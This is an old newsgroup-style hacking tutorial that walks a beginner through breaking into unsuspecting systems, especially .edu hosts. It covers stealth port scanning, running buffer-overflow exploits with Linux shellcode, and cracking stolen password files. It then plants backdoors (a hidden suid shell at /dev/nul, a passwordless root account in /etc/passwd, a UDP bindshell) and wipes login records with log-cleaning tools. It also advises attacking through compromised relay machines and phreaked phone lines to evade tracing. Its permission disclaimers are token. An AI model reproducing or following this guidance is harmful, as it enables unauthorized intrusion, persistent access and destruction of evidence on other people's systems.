How to learn to hack in easy steps

Introduction

Hi there, I'm TDC and I'd like to give back all the things i've learnt from the hackers i've met. I want to write this because most tutorials i've found (very good tutorials) are now old and don't fit just like they did before. This is why i'm going to teach you and show you the way to learn to hack. If you are a hacker, you read this, and find something that's not correct or you don't like, i want to know. mail me. I'm sure you'll find a lot of bad-grammars. Don't report them cause I'm not english and i don't care at all as long as it's understandable. On this document I talk about many security tools, you can find all them and also contact me on my site: www.3b0x.com. When you finish reading it, please TELL ME how you like it! I want to make newer versions of it, check on my site to stay informed.

COPYING: You're welcome to distribute this document to whoever the hell you want, post it on your website, on forums, newsgroups, etc, AS LONG as you DON'T MODIFY it at all. If you want to perform it, ask me for permission. thanks a lot!

DISCLAIMER: This document is intended for ludical or educational purposes. I don't want to promote computer crime and I'm not responible of your actions in any way. If you want to hack a computer, do the decent thing and ask for permission first.

Let's start

If you read carefully all what i'm telling here, you are smart and you work hard on it, you'll be able to hack. i promise. That doesn't really make you a hacker (but you're on the way). A hacker is someone who is able to discover unknown vulnerabilities in software and able to write the proper codes to exploit them.

NOTE: If you've been unlucky, and before you found this document, you've readen the guides to (mostly) harmless hacking, then forget everything you think you've learnt from them. You won't understand some things from my tutorial until you unpoison your brain.

Some definitions

I'm going to refer to every kind of computer as a box, and only as a box.

This includes your PC, any server, supercomputers, nuclear silos, HAL9000, Michael Knight's car, The Matrix, etc.

The systems we're going to hack (with permission) are plenty of normal users, whose don't have any remote idea about security, and the root. The root user is called superuser and is used by the admin to administer the system.

I'm going to refer to the users of a system as lusers. Logically, I'll refer to the admin as superluser.

Operating Systems

~~~~~~~~~~~~~~~~~~

Ok, I assume you own a x86 box (this means an intel processor or compatible) running windoze9x, or perhaps a mac (motorola) box running macOS.

You can't hack with that. In order to hack, you'll need one of those UNIX derived operating systems. This is for two main reasons:
-the internet is full of UNIX boxes (windoze NT boxes are really few) running webservers and so on. to hack one of them, you need a minimun knowledge of a UNIX system, and what's better than running it at home?

- all the good hacking tools and exploit codes are for UNIX. You won't be able to use them unless you're running some kind of it. Let's see where to find the unix you're interested on.

The UNIX systems may be divided in two main groups:

- commercial UNIXes
- free opensource UNIXes

A commercial unix's price is not like windoze's price, and it usually can't run on your box, so forget it.

The free opensource UNIXes can also be divided in:
- BSD
These are older and difficult to use. The most secure OS (openBSD) is in this group. You don't want them unless you're planning to install a server on them.

- Linux
~~~~~~~~~~~~~~~~~~

Easy to use, stable, secure, and optimized for your kind of box. that's what we need.

I strongly suggest you to get the SuSE distribution of Linux.
It's the best one as i think, and i added here some tips for SuSE, so all should be easier.

Visit www.suse.de and look for a local store or order it online.
(i know i said it the software was free, but not the CDs nor the manual nor the support.
It is much cheaper than windoze anyway, and you are allowed to copy and distribute it)

If you own an intel box, then order the PC version.

If you own a mac box, then order the PowerPC version.

Whatever you do, DON'T PICK THE COREL DISTRIBUTION, it sucks.

It's possible you have problem with your hardware on the installation. Read the manual, ask for technical support or buy new hardware, just install it as you can.

This is really important! READ THE MANUAL, or even buy a UNIX book.
Books about TCP/IP and C programming are also useful.

If you don't, you won't understand some things i'll explain later. And, of course, you'll never become a hacker if you don't read a lot of that 'literature'.

The Internet

~~~~~~~~~~~~

Yes! you wanted to hack, didn't you? do you want to hack your own box or what?
You want to hack internet boxes! So lets connect to the internet.

Yes, i know you've gotten this document from the internet, but that was with windoze and it was much easier. Now you're another person, someone who screams for knowledge and wisdom. You're a Linux user, and you gotta open your way to the Internet.

You gotta make your Linux box to connect to the net, so go and set up your modem (using YaST2 in SuSE).

Common problems:
~~~~~~~~~~~~

If your box doesn't detect any modems, that probably means that you have no modem installed
:-D (not a joke!).

Most PCI modems are NOT modems, but "winmodems". Winmodems, like all winhardware, are specifically designed to work ONLY on windoze. Don't blame linux, this happens because the winmodem has not a critical chip that makes it work. It works on windoze cause the vendor driver emulates that missing chip. And hat vendor driver is only available for windoze.

ISA and external modems are more probably real modems, but not all of them.
If you want to make sure wether a modem is or not a winmodem, visit http://start.at/modem.
Then use your modem to connect to your ISP and you're on the net. (on SuSE, with wvdial)
NOTE: Those strange and abnormal online services like aol are NOT ISPs. You cannot connect the internet with aol. You can't hack with aol. i don't like aol. aol sucks.
Don't worry, we humans are not perfect, and it's probably not your fault. If that is your case, leave aol and get a real ISP. Then you'll be forgiven.

Don't get busted

~~~~~~~~~~~~~~~~~

Let's suppose you haven't skipped everything below and your Linux bow is now connected to the net.
It's now turn for the STEALTH. You won't get busted! just follow my advices and you'll be safe.
- *Don't hack*
this is the most effective stealth technique. not even the FBI can bust you. :-)
If you choose this option, stop reading now, cause the rest is worthless and futile.
- If you change a webpage, DON'T SIGN! not even with a fake name. they can trace you, find your own website oe email address, find your ISP, your phone number, your home...
and you get busted!!

- **BE PARANOID**, don't talk about hacking to anyone unless he is really interested in hacking too.
- **NEVER** tell others you've hacked a box.
- **NEVER** hack directly from your box (your_box --> victim's box).
-**ALWAYS** use a third box in the middle (your_box --> lame_box --> victim's box).
~~~~~~~~~~~~~~~~~

Where lame_box is a previously hacked box or...a shell account box!
A shell account is a service where you get control of a box WITHOUT hacking it.
There are a few places where shell accounts are given for free. One of them is nether.net.

- **Don't hack dangerous boxes until you're a real hacker**.

Which boxes are dangerous:
Military boxes
Government boxes
Important and powerful companies' boxes
Security companies' boxes
Which boxes are NOT dangerous:
Educational boxes (any .edu domain)
Little companies' boxes
Japanese boxes

- Always connect to the internet through a free and anonymous ISP (did i tell you that AOL is NOT an ISP?)
- Use phreking techniques to redirect calls and use others' lines for your ISP call. Then it'll be really difficult to trace you. This is not a guide to phreaking anyway.

TCP ports and scanning

~~~~~~~~~~~~~~~~~~~~~~~~~

Do you got your stealth linux box connected to the internet (not aol)?
Have you read the manual as i told you? Then we shall start with the damn real thing.

First of all, you should know some things about the internet. It's based on the TPC/IP protocol, (and others) It works like this: every box has 65k connection PORTS. some of them are opened and waiting for your data to be sent.
So you can open a connection and send data to any these ports. Those ports are associated with a service:
- Every service is hosted by a DAEMON. Commonly, a daemon or a server is a program that runs on the box, opens its port and offers their damn service.

here are some common ports and their usual services (there are a lot more):

Port number	Common service	Example daemon (d stands for daemon)
21	FTP	FTPd
~~~~~~~~~~~~~~~~~~~~~~~~~

23	Telnet	telnetd
25	SMTP	sendmail (yes!)
80	HTTP	apache
110	POP3	qpop

Example:
when you visit the website http://www.host.com/luser/index.html, your browser does this:
-it connects to the TCP port 80
-it sends the string: "GET /HTTP/1.1 /luser/index.html" plus two 'intro'
(it really sends a lot of things more, but that is the essential)
-the host sends the html file
The cool thing of daemons is they have really serious security bugs.
That's why we want to know what daemons are running there, so...
We need to know what ports are opened in the box we want to hack.
How could we get that information?
We gotta use a scanner. A scanner is a program that tries to
connect to every port on the box and tells which of them are opened.
The best scanner i can think of is nmap, created by Fyodor.
You can get nmap from my site in tarball or rpm format.
Let's install nmap from an .rpm packet.

```
bash-2.03$ rpm -i nmap-2.53-1.i386.rpm
```

then we run it:

```
bash-2.03$ nmap -sS target.edu

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on target.edu (xx.xx.xx.xx):
(The 1518 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp     open        ftp
23/tcp     open        telnet
25/tcp     open        smtp
80/tcp     open        http
110/tcp    open        pop3
```

Nmap run completed -- 1 IP address (1 host up) scanned in 34 seconds

Nmap has told us which ports are opened on target.edu and thus, what services it's offering. I know, i said telnet is a service but is also a program (don't let this confuse you). This program can open a TCP connection to the port you specify.

So lets see what's on that ports.

On your linux console, type:

```
bash-2.03$ telnet target.edu 21
Trying xx.xx.xx.xx...
Connected to target.edu.
Escape character is '^]'.
220 target.edu FTP server (SunOS 5.6) ready.
quit
221 Goodbye.
Connection closed by foreign host.
```

You see? They speak out some valuable information:

-their operating system is SunOS 5.6
-their FTP daemon is the standard provided by the OS.

```
bash-2.03$ telnet target.edu 25
Trying xx.xx.xx.xx...
Connected to target.edu.
Escape character is '^]'.
220 target.edu ESMTP Sendmail 8.11.0/8.9.3; Sun, 24 Sep 2000 09:18:14 -0
400 (EDT)
quit
221 2.0.0 target.edu closing connection
Connection closed by foreign host.
```

They like to tell us everything:
-their SMTP daemon is sendmail
-its version is 8.11.0/8.9.3
Experiment with other ports to discover other daemons.

Why is this information useful to us? cause the security bugs that can let us in depend

on the OS and daemons they are running.
But there is a problem here... such information can be faked!
It's difficult to really know what daemons are they running, but we can know FOR SURE what's the operating system:

```
bash-2.03$ nmap -sS target.edu

Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Interesting ports on target.edu (xx.xx.xx.xx):
(The 1518 ports scanned but not shown below are in state: closed)
Port       State       Service
21/tcp     open        ftp
23/tcp     open        telnet
25/tcp     open        smtp
80/tcp     open        http
110/tcp    open        pop3

TCP Sequence Prediction: Class=random positive increments
                         Difficulty=937544 (Good luck!)
Remote operating system guess: Linux 2.1.122 - 2.2.14

Nmap run completed -- 1 IP address (1 host up) scanned in 34 seconds
```

Hey wasn't it SunOS 5.6? Damn they're a bunch of lame fakers!

We know the host is running the Linux 2.x kernel. It'd be useful to know also the distribution,
but the information we've already gathered should be enough.
This nmap feature is cool, isn't it? So even if they've tried to fool us, we can know what's the OS there and its very difficult to avoid it.
Also take a look to the TCP Sequence Prediction. If you scan a host and nmap tells you their difficulty is low, that means their TCP sequence is predictable and we can make spoofing attacks. This usually happens with windoze (9x or NT) boxes.
Ok, we've scanned the target. If the admins detect we've scanned them, they could get angry.
And we don't want the admins to get angry with us, that's why we used the -sS option. This way (most) hosts don't detect ANYTHING from the portscan.
Anyway, scanning is LEGAL so you shouldn't have any problems with it. If you want a better
usage of nmap's features, read its man page:

```
bash-2.03$ man nmap
```

How to upload and compile programs

~~~~~~

The most obvious and simple way is using FTP:

```
bash-2.03$ ls
program.c
sh-2.03$ ftp target.edu
Connected to target.edu.
220 target.edu FTP server (SunOS 5.6) ready.
Name: luser
331 Password required for luser.
Password:
230 User luser logged in.
ftp> put program.c
200 PORT command successful.
150 ASCII data connection for program.c (204.42.253.18,57982).
226 Transfer complete.
ftp> quit
221 Goodbye.
```

But this is not a really good way. It can create logs that will make the admin to detect us.

Avoid uploading it with FTP as you can, use cut&paste instead.

Here's how to make it:

we run a text editor

```
sh-2.03$ pico exploit.c
```

if it doesn't work, try this one:

```
sh-2.03$ vi exploit.c
```

Of course, you must learn how to use vi.

Then open another terminal (i mean without x windows, CTRL+ALT+Fx to scape from xwindows to x,
~~~~~~

ALT+Fx to change to another terminal, ALT+F7 to return xwindows) on your own box and cut the text from it. Change to your target and paste the code so you've 'uploaded' the file.
To cut a text from the screen, you need to install the gpm packet from your linux distribution.This program lets you select and cut text with your mouse.
If cut&paste doesn't work, you can also type it by hand (they aren't usually large).

Once you get the .c file there, here's how to compile:

```
sh-2.03$ gcc program.c -o program
```

and execute:

```
sh-2.03$ ./program
```

Exploiting vulnerabilities

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This is the most important part of our hacking experience. Once we know what target.edu is running, we can go to one of those EXPLOIT databases that are on the net.
A exploit is a piece of code that exploits a vulnerability on its software. In the case of target.edu, we should look for an adequate exploit for sendmail 8.11.0 or any other daemon that fits. Note that sendmail is the buggiest and the shittiest daemon, thus the most easy exploitable. If your target gots an old version, you'll probably get in easyly.

When we exploit a security bug, we can get:

- a normal shell (don't know what a shell is? read a book of unix!)

A shell is a command interpreter. for example, the windoze 'shell' is the command.com file.
this one lets us send commands to the box, but we got limited priviledges.
- a root shell
this is our goal, once we're root, we can do EVERYTHING on our 'rooted' box.

These are some exploit databases i suggest you to visit:

www.hack.co.za
www.r00tabega.org
www.rootshell.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

www.securityfocus.com
www.insecure.org/sploits.html
Every exploit is different to use, so read its text and try them.
They usually come in .c language.
The most standar and easy to use exploits are buffer overflows.
I won't explain here how a buffer overflow does work,
Read "Smash The Stack For Fun And Profit" by Aleph One to learn it.
You can download it from my site. (www.3b0x.com)
Buffer overflows fool a program (in this case sendmail) to make it execute the code you want. This code usually executes a shell, so it's called 'shellcode'. The shellcode to run a shell is different to every OS, so this is a strong reason to know what OS they're running.

We edit the .c file we've downloaded and look for something like this:

```
char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

This is a shellcode for Linux. It will execute /bin/sh, that is, a shell.

You gotta replace it by the shellcode for the OS your target is running.
You can find shellcodes for most OSes on my site or create your own by reading the text i mentioned before (Smash The Stack For Fun And Profit).

IMPORTANT: before continuing with the practice, ask your target for permission to hack them.

> if they let you do it, then you shall continue.
> if they don't give you permission, STOP HERE and try with another one.
> shall you continue without their permission, you'd be inquiring law and
> i'm not responible of your craziness in any way!!!

You should have now the shell account, this is the time to use it!

everything i explain on this section, do it through your shell account:

```
bash-2.03$ telnet myshellaccount 23
Trying xx.xx.xx.xx...
Connected to yourshellaccount.
Escape character is '^]'.
```

Welcome to yourshellaccount
login: malicioususer
Password: (it doesn't display)
Last login: Fry Sep 15 11:45:34 from <yourIPaddress>.
sh-2.03$

Here is a example of a buffer overflow (that doesn't really exist):

we compile it:
sh-2.03$ gcc exploit.c -o exploit
we execute it:
sh-2.03$ ./exploit
This is a sendmail 8.9.11 exploit
usage: ./exploit target port
Sendmail works on port 25, so:
sh-2.03$./exploit 25 target.edu
Cool, '$' means we got a shell! Let's find out if we're root.
$whoami
root
Damn, we've rooted target.edu!
$whyamiroot
because you've hacked me! :-) (just kidding)

There are some exploits that don't give you root directly, but a normal shell. It depends on what luser is running the daemon. (sendmail is usually root) Then you'll have to upload a .c file with a local (local means it can't overflow a daemon, but a local program) overflow and compile it.

Remember to avoid uploading it with FTP as you can.

Other kind of exploit is the one that gives you access to the password file. If a host gots port 23 (telnet) opened, we can login as a normal user (remote root logins are usually not allowed) by putting his/hers/its username and password. Then use the su command to become root.

sh-2.03$ telnet target.edu 23
Trying xx.xx.xx.xx...
Connected to target.edu.
Escape character is '^]'.
We're running SunOS 5.7

Welcome to target.edu

login: luser
Password: (it doesn't display)
Last login: Fry Sep 22 20:47:59 from xx.xx.xx.xx.
sh-2.03$ whoami
luser
Are we lusers?
sh-2.03$ su root
Password:
Don't think so...
sh-2.03$ whoami
root
sh-2.03$

Let's see what happened. We've stolen the password file (/etc/shadow) using an exploit. Then, let's suppose we've extracted the password from luser and root. We can't login as root so we login as luser and run su. su asks us for the root password, we put it and... rooted!!
The problem here is that is not easy to extract a root password from a password file. Only 1/10 admins are idiot enough to choose a crackable password like a dictinonary word or a person's name.

I said some admins are idiot (some of them are smart), but lusers are the more most idiotest thing on a system. You'll find that luser's passwords are mostly easyly cracked, you'll find that lusers set up rlogin doors for you to enter without a password, etc. Not to mention what happens when an admin gives a normal luser administrator priviledges with sudo or something.

To learn how to crack a password file and extract its passwords, download a document called "cracking UNIX passwords" by Zebal. You can get it from my site (www.3b0x.com).

Of course, I haven't listed all the exploit kinds that exist, only the most common.

Putting backdoors

~~~~~~~~~~~~~~~~~~

Ok, we've rooted the system. Then what?
~~~~~~~~~~~~~~~~~~

Now you're able to change the webpage of that .edu box. Is that what you want to do? Notice that doing such a thing is LAMER attitude. everyone out there can hack an .edu box, but they're not ashaming them with such things.

Hacktivism is good and respected. You can change the page of bad people with bad ideologies like nazis, scienciologists, bsa.org, microsoft, etc. Not a bunch of poor educators.

REMEMBER: ask for permission first!

No, this time you should do another thing. You should keep that system for you to play with as a toy! (remember: your_box --> lame_box --> victim's box)

Once we type "exit" on our login shell, we're out. And we gotta repeat all the process to get back in.
And it may not be possible:
- the admin changed his password to something uncrackable.
- they updated sendmail to a newer version so the exploit doesn't work.

So now we're root and we can do everything, we shall put some backdoors that let us get back in.
It may be interesting to read the paper about backdoors I host on my site. (www.3b0x.com)
Anyway, i'll explain the basics of it.

1.How to make a sushi:

To make a sushi or suid shell, we gotta copy /bin/sh to some hidden place and give it suid permissions:

```
sh-2.03$ cp /bin/sh /dev/nul
```

In the strange case the admin looks at /dev, he wouldn't find something unusual cause /dev/null does exist (who notices the difference?).

```
sh-2.03$ cd /dev
sh-2.03$ chown root nul
```

Should yet be root-owned, but anyway...

```
sh-2.03$ chmod 4775 nul
```

4775 means suid, note that "chmod +s nul" wouldn't work on some systems but this works everywhere.

We've finished our 'duty', let's logout:

```
sh-2.03$ exit
```

Then, when we come back some day:

```
sh-2.03$ whoami
luser
sh-2.03$ /dev/nul
sh-2.03$ whoami
root
```

We're superluser again!

There's one problem: actually most shells drop suid permissions, so the sushi doesn't work. We'd upload then the shell we want and make a sushi with it.
The shell we want for this is SASH. A stand-alone shell with built-in commands.
This one doesn't drop suid perms, and the commands are built-in, so external commands can't drop perms too! Remember to compile it for the architecture of the target box.
Do you know where to get sash from? From my site :-). (www.3b0x.com)

2.How to add fake lusers.

You gotta manipulate the users file: /etc/passwd
try this:

```
sh-2.03$ pico /etc/passwd
```

if it doesn't work, try this:

```
sh-2.03$ vi /etc/passwd
```

Of course, you must learn how to use vi.

This is what a luser line looks like: luser:passwd:uid:gid:startdir:shell

When uid=0 and gid=0, that luser gets superluser priviledges.

Then we add a line like this:

```
dood::0:0:dood:/:/bin/sh        (put it in a hidden place)
```

So, once we get a shell, we type:

```
sh-2.03$ su dood
sh-2.03$ whoami
dood
```

And now we're root because dood's uid=0 and gid=0.

Smart admins usually look for anomalities on /etc/passwd. The best way is to use a fake program in /bin that executes the shell you want with suid perms.

I haven't got such a program at my site, but it shouldn't be difficult to develope.

3.How to put a bindshell.

A bindshell is a daemon, it's very similar to telnetd (in fact, telnetd is a bindshell).
The case is this is our own daemon. The good bindshells will listen to an UDP port (not TCP)
and give a shell to you when you connect. The cool thing of UDP is this:

If the admin uses a scanner to see what TCP ports are open, he woldn't find anything!
They rarely remember UDP exists.

You can get an UDP bindshell coded by !hispahack from my site.

Cleaning up

~~~~~~~~~~~~

Remember when we logedin to target.edu as luser, and used su to become root?
Take a look to this line:

    Last login: Fry Sep 22 20:47:59 from xx.xx.xx.xx.

Yes, that was displayed by the target box when we logedin there.
It refers to the last login that the real luser did.

So, what will be displayed when luser logsin again?

    Last login: Sun Sep 24 10:32:14 from <yourIPaddress>.

Then luser writes a mail to the admin:

"It has happen some strange thing, when I loggedin today, I've read a line like this:

Last login: Sun Sep 24 10:32:14 from <yourIPaddress>.
~~~~~~~~~~~~

Does it mean I did login yesterday? It can't be, I don't work on sundays!
I think it's a bug and this is your fault."

The admin responds to luser:

"That wasn't a bug! this line means someone acceded the system using your password, don't worry for that, we got his IP. That means we can ask his ISP what phone number did call at 10:32 and get <yourIPaddress>. Then we shall call the police and he'll get busted"

So you'll get busted because luser was a bit clever (sometimes happens).

So we gotta find a way to delete that. This information can be stored in:

/usr/adm/lastlog
/var/adm/lastlog
/var/log/lastlog

and we can erase it using lled (get it from my site)

lled gots a buitin help that explains how to use it, remember to chmod the fake file created by lled like the substitute lastlog file. There is also some information we'd like to erase:

Remember when i told you not to use FTP? Well, in case you did it, you must now use wted to clean up. Its sintax is very similar to lled.
you can get it from my site.

The who command shows us (and the admin) which lusers are logedin at the moment. What if we login and the admin is there?

```
sh-2.03$ who
root     tty1     Sep 25 18:18
```

Then we shall use zap2. If you loggedin as 'luser', then type:

```
sh-2.03$ ./zap2 luser
Zap2!
sh-2.03$ who
sh-2.03$
```

And luser has never been here.

Greetings

~~~~~~~~~

Ok, this is all for now (i'll make a newer version). I hope it has been useful to you and you decide to continue learning and become a real hacker. You can visit my site (www.3b0x.com) for more advanced tutorials so you can improve your skills.

I'd get very happy if you send me a mail telling me your impression about this paper (wether is good or bad), and you help me to improve it.

I'd like to send my greetings to every hacker that has tought me in any way, through newsgroups or other tutorials like this one. thanks to all.

This paper was written on 26-9-00 by TDC

- **Follow-Ups**:
  - **Re: Learn to hack hotmail and icq and aol**
    - *From:* diggitydog46@hotmail.com
  - **Re: Learn to hack in easy steps**
    - *From:* Pornaddict2000<aron_58@mail.com>
  - **Re: Learn to hack in easy steps**
    - *From:* asterixx@post.cz
  - **Re: Learn to hack in easy steps**
    - *From:* shane4444@hotmail.com
  - **Re: Learn to hack in easy steps**
    - *From:* Keith Koeppen<Joy_ride80@yahoo.com>
- Prev by Date: **Re: i can hack hotmail for free and in minutes**
- Next by Date: **Re: Profile of a person using hotmail**
- Prev by thread: **i can´t find a hotmail password!!!**
- Next by thread: **Re: Learn to hack in easy steps**
- Index(es):
  - **Date**
  - **Thread**
~~~~~~~~~